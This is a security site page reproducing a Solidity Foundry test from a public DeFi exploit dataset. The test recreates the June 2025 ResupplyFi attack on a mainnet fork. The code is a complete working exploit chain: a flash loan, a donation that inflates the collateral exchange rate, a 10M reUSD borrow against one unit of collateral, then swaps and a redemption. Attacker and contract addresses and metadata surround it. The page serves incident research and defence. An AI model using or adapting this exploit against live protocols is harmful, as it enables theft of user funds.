Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/ResupplyFi_exp.sol

Public reproduction file for dataset entry ResupplyFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/ResupplyFi_exp.sol137 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 9.6M USD
7// Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea
8// Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7
9// Created Attack Contract: https://etherscan.io/address/0x151aA63dbb7C605E7b0a173Ab7375e1450E79238
10// Vulnerable Contract : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6
11// Attack Tx : https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code
16// @Analysis
17// Post-mortem : https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI
18// Twitter Guy : https://x.com/peckshield/status/1938061948647817647
19// Hacking God : N/A
21interface IERC20 {
22 function approve(address, uint256) external;
23 function balanceOf(
24 address
25 ) external view returns (uint256);
26 function transfer(address, uint256) external;
29interface ICurvePool {
30 function exchange(int128, int128, uint256, uint256) external;
33interface IsCRVUSD {
34 function mint(
35 uint256
36 ) external;
37 function approve(address, uint256) external;
38 function balanceOf(
39 address
40 ) external view returns (uint256);
41 function redeem(uint256, address, address) external;
44interface IResupplyVault {
45 function addCollateralVault(uint256, address) external;
46 function borrow(uint256, uint256, address) external;
49interface IUniswapV3Pool {
50 function swap(address, bool, int256, uint160, bytes calldata) external;
53interface IWETH {
54 function balanceOf(
55 address
56 ) external view returns (uint256);
57 function withdraw(
58 uint256
59 ) external;
62interface IMorphoBlue {
63 function flashLoan(address, uint256, bytes calldata) external;
66contract ResupplyFi is BaseTestWithBalanceLog {
67 // Token Addresses
68 IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
69 IERC20 private constant crvUsd = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
70 IsCRVUSD private constant sCrvUsd = IsCRVUSD(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367);
71 IERC20 private constant reUsd = IERC20(0x57aB1E0003F623289CD798B1824Be09a793e4Bec);
72 IWETH private constant weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
74 // Contract Addresses
75 IMorphoBlue private constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
76 ICurvePool private constant curveUsdcCrvusdPool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
77 IsCRVUSD private constant sCrvUsdContract = IsCRVUSD(0x01144442fba7aDccB5C9DC9cF33dd009D50A9e1D);
78 IResupplyVault private constant resupplyVault = IResupplyVault(0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6);
79 ICurvePool private constant curveReusdPool = ICurvePool(0xc522A6606BBA746d7960404F22a3DB936B6F4F50);
80 IUniswapV3Pool private constant uniswapV3Pool = IUniswapV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
82 address private constant crvUSDController = 0x89707721927d7aaeeee513797A8d6cBbD0e08f41;
84 // Exploit Parameters
85 uint256 private constant forkBlockNumber = 22_785_460;
86 uint256 private constant flashLoanAmount = 4000 * 1e6; // 4,000 USDC
87 uint256 private constant crvUsdTransferAmount = 2000 * 1e18; // 2,000 crvUSD
88 uint256 private constant sCrvUsdMintAmount = 1;
89 uint256 private constant borrowAmount = 10_000_000 * 1e18; // 10,000,000 reUSD
90 uint256 private constant redeemAmount = 9_339_517.438774046 ether; // ~9,339.52 sCrvUsd
91 uint256 private constant finalExchangeAmount = 9_813_732.715269934 ether; // ~9,813.73 crvUSD
93 receive() external payable {}
95 function setUp() public {
96 vm.createSelectFork("mainnet", forkBlockNumber);
97 fundingToken = address(usdc);
98 }
100 function testExploit() public balanceLog {
101 usdc.approve(address(morphoBlue), type(uint256).max);
102 morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex"");
103 }
105 function onMorphoFlashLoan(uint256, bytes calldata) external {
106 require(msg.sender == address(morphoBlue), "Caller is not MorphoBlue");
107 _swapUsdcForCrvUsd();
108 _manipulateOracles();
109 _borrowAndSwapReUSD();
110 _redeemAndFinalSwap();
111 }
113 function _swapUsdcForCrvUsd() internal {
114 usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);
115 curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);
116 }
118 function _manipulateOracles() internal {
119 crvUsd.transfer(crvUSDController, crvUsdTransferAmount);
120 crvUsd.approve(address(sCrvUsdContract), type(uint256).max);
121 sCrvUsdContract.mint(sCrvUsdMintAmount);
122 }
124 function _borrowAndSwapReUSD() internal {
125 sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);
126 resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));
127 resupplyVault.borrow(borrowAmount, 0, address(this));
128 reUsd.approve(address(curveReusdPool), type(uint256).max);
129 curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);
130 }
132 function _redeemAndFinalSwap() internal {
133 sCrvUsd.redeem(redeemAmount, address(this), address(this));
134 crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);
135 curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);
136 }

Analysis

Dataset entry

Public Foundry test for “ResupplyFi” (2025-06-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea

  • Attack Contract

    0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7

  • Vulnerable Contract

    0x6e90c85a495d54c6d7e1f3400fef1f6e59f86bd6

  • Attack Tx

    0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3

File record

Name
ResupplyFi
Path
src/test/2025-06/ResupplyFi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7b2b866835fa9e9b0de91601c0b1c166c122f945
Language
Solidity
Size
138 lines
Date
2025-06-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/ResupplyFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7b2b866835fa9e9b0de91601c0b1c166c122f945, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.